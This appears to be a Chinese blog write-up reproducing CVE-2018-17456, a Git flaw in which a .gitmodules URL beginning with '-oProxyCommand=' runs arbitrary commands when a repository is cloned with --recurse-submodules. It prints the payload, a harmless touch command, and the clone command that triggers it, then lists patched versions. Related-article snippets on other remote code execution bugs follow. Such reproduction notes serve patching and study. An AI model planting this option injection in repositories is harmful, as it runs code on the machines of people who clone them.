Git漏洞允许任意代码执行(CVE-2018-17456)复现

Git漏洞允许任意代码执行(CVE-2018-17456)



国外安全研究员 joernchen 在 9 月 23 日向 git 官方报告了漏洞的相关细节。10月5日,Git项目披露了一个漏洞,编号为CVE-2018-17456。当用户克隆恶意存储库时,该漏洞可能会导致执行任意代码。


漏洞描述

这个漏洞已被分配 CVE-2018-17456 这个唯一 ID,与之前的 CVE-2017-1000117 可选注入漏洞相似 —— 恶意仓库可以新建一个 .gitmodules 文件,其中包含以破折号开头的 URL。

通过破折号,当 Git 使用 --recurse-submodules 参数来克隆仓库时,该命令会将 URL 翻译为一个选项,然后可以使用该选项在计算机上进行远程代码执行。

当运行 "git clone --recurse-submodules" 时,Git 会解析 .gitmodules 文件中的 URL 字段,然后将其作为参数传递给 "git clone" 子进程。如果 URL 字段是一个字符串,并使用短划线开头,这个 "git clone" 子进程将会把 URL 翻译为一个选项。这可能导致用户运行 "git clone" 时,会执行 superproject 中的任意脚本。


受影响的产品

GitHub桌面

GitHub Desktop 1.4.1及更早版本包含受此漏洞影响的嵌入式Git。

Atom

Atom包含了相同的嵌入式Git,也受到了影响。版本1.31.2和1.32.0-beta3包括补丁。

Git命令行

Git在命令行和其他客户端上


漏洞复现

以mac os的git命令行, 版本为2.10.1

  • 0x1 首先在github创建一个仓库,然后传一个.gitmodules 文件,里面写入payload:
[submodule "test"]
    path = test
    url = ssh://-oProxyCommand=touch JimZ-test/[email protected]:/timwr/test.git

如果执行了touch JimZ-test,则存在漏洞。

自此我们的恶意仓库创建完成。

  • 0x2 用靶机打开受影响的git,然后输入payload
git clone https://github.com/zhengjim/CVE-2018-17456.git --recurse-submodules

然后ls CVE-2018-17456 查看

存在JimZ-test文件 ,证明执行了touch JimZ-test

复现成功


修复方案

此漏洞已在 Git v2.19.1 (with backports in v2.14.5, v2.15.3, v2.16.5, v2.17.2, and v2.18.1), GitHub Desktop 1.4.2, Github Desktop 1.4.3-beta0, Atom 1.31.2 和 Atom 1.32.0-beta3 中得到修复

  • 将 git 命令行工具更新至 git 官方发布的最新版本。
  • Github Desktop 更新至 1.4.2、1.4.3-beta0 版本。
  • Atom 更新至 1.31.2、1.32.0-beta3 版本。

参考文章

  • https://mp.weixin.qq.com/s/8ccCxij6XI90sfJzvpkDVg
  • https://zhuanlan.kanxue.com/article-5210.htm
  • http://hackernews.cc/archives/24216

原文地址:https://www.cnblogs.com/zhengjim/p/9835835.html

时间: 2024-11-04 10:41:04

Git漏洞允许任意代码执行(CVE-2018-17456)复现的相关文章

ElasticSearch远程任意代码执行漏洞(CVE-2014-3120)分析

原理 这个漏洞实际上非常简单,ElasticSearch有脚本执行(scripting)的功能,可以很方便地对查询出来的数据再加工处理. ElasticSearch用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码. 而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码. 其实官方是清楚这个漏洞的,在文档里有说明: First, you should not run Elasticsearch as

PHP-CGI远程任意代码执行漏洞(CVE-2012-1823)修复方案

首先介绍一下这个漏洞,其实是在apache调用php解释器解释.php文件时,会将url参数传我给php解释器,如果在url后加传命令行开关(例如-s.-d .-c或 -dauto_prepend_file%3d/etc/passwd+-n)等参数时,会导致源代码泄露和任意代码执行. 这个漏洞影响php-5.3.12以前的版本,mod方式.fpm方式不受影响. 既然出现了,那就补吧,以下都是自己亲身经验,本着开源精神,做个分享,欢迎留言! 三种方案: 1.升级php版本:(php-5.3.12以

20.Ecshop 2.x/3.x SQL注入/任意代码执行漏洞(附实战exp)

Ecshop 2.x/3.x SQL注入/任意代码执行漏洞 影响版本: Ecshop 2.x Ecshop 3.x-3.6.0 漏洞分析: 该漏洞影响ECShop 2.x和3.x版本,是一个典型的"二次漏洞",通过user.php文件中display()函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval中,从而实现了任意代码执行. 值得一提的是攻击者利用的payload只适用于ECShop 2.x版本导致有部分安全分析者认为该漏洞不影响

php 168任意代码执行漏洞之php的Complex (curly) syntax

今天了解了php 168的任意代码执行漏洞,Poc: http://192.168.6.128/pentest/cms/php168/member/post.php?only=1&showHtml_Type[bencandy][1]={${phpinfo()}}&aid=1&job=endHTML 通过代码审计得知,最后会执行 eval("\$array[showurl]=\"$filename_b\";"); 而$filename_b最终值

【知道创宇404实验室】致远OA系统远程任意代码执行高危安全漏洞预警

今日(2019年6月26日),互联网上有安全研究者预警并发布了关于致远OA系统的高危安全漏洞,***者可以通过某接口漏洞在未授权的情况下实现远程任意代码执行,最终控制整个系统权限.据悉致远OA系统是由用友致远互联旗下协同管理软件系统,在国内很多央企.大型公司都有广泛应用. 知道创宇404实验室立即启动漏洞应急流程,确定该漏洞存在致远OA系统某些型号及版本中某Servlet接口缺少必要的安全过滤,最终允许***者远程执行任意代码,并且该接口无需认证即可访问,危害巨大. 通过知道创宇旗下ZoomEy

Linux内核竞争条件漏洞-导致远程代码执行

导读 *本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 运行了Linux发行版的计算机设备,如果内核版本小于5.0.8的话,将有可能受到一个内核竞争条件漏洞的影响,并导致系统无法抵御远程网络攻击.潜在的攻击者可以利用Linux内核中net/rds/tcp.c的rds_tcp_kill_sock TCP/IP实现缺陷,从而触发设备的拒绝服务(DoS)状态,并在受影响的设备上实现远程代码执行.攻击者可以通过特制的TCP数据包对存在漏

帝国CMS(EmpireCMS) v7.5后台任意代码执行

一.漏洞描述 EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行. 二.影响版本 EmpireCMS<=7.5 三.环境搭建 1.官方下载EmpireCMS V7.5 下载地址:http://www.phome.net/download/ 2.把下载的文件中的upload下的所有目录和文件放入到网站根目录下 3.修改php.ini配置文件, PHP环境中必须开启短标签,不然安装会提示无法安装 4.设置php.ini中 shor

漏洞预警 | Apache Struts2 曝任意代码执行漏洞 (S2-045)

近日,Apache官方发布Apache Struts 2.3.5–2.3.31版本及2.5–2.5.10版本存在远程代码执行漏洞(CNNVD-201703-152 ,CVE-2017-5638)的紧急漏洞公告.该漏洞是由于上传功能的异常处理函数没有正确处理用户输入的错误信息,导致远程攻击者可通过发送恶意的数据包,利用该漏洞在受影响服务器上执行任意命令. 漏洞危害 攻击者可在HTTP请求头部中的Content-Type字段构造恶意代码利用该漏洞,在受影响服务器上执行系统命令,进一步可完全控制该服务

Discuz! 6.x/7.x 版本 前台任意代码执行漏洞

一.漏洞原理: 由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞. include/global.func.php代码里: 01 function daddslashes($string, $force = 0) { 02         !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc